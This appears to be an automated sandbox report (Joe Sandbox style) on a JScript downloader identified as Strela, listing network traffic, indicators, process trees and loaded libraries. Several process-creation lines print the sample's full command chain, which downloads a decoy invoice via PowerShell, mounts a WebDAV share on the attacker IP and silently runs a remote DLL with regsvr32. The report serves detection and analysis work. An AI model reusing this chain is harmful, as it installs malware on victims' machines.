3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1717965939.00000271C0EBA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1719474084.00000271C0EB9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1719693872.00000271C28A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1784375423.0000027F557AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1784375423.0000027F557AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/7#
Source: net.exe, 00000006.00000002.1784375423.0000027F55778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/U
Source: svchost.exe, 00000008.00000002.3005077388.000001B7C3000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1790147088.000001B7C3218000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1790147088.000001B7C3218000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1790147088.000001B7C3218000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1790147088.000001B7C324D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1790147088.000001B7C32C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1790147088.000001B7C32C2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1790147088.000001B7C32C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 2336, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 7003183412181430311.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@28/55@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7320:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4584:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h3rw1ft3.ecs.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 7003183412181430311.js

Virustotal: Detection: 11%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7003183412181430311.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2240 --field-trial-handle=1652,i,3231209704093692969,12306063606434477512,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2240 --field-trial-handle=1652,i,3231209704093692969,12306063606434477512,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
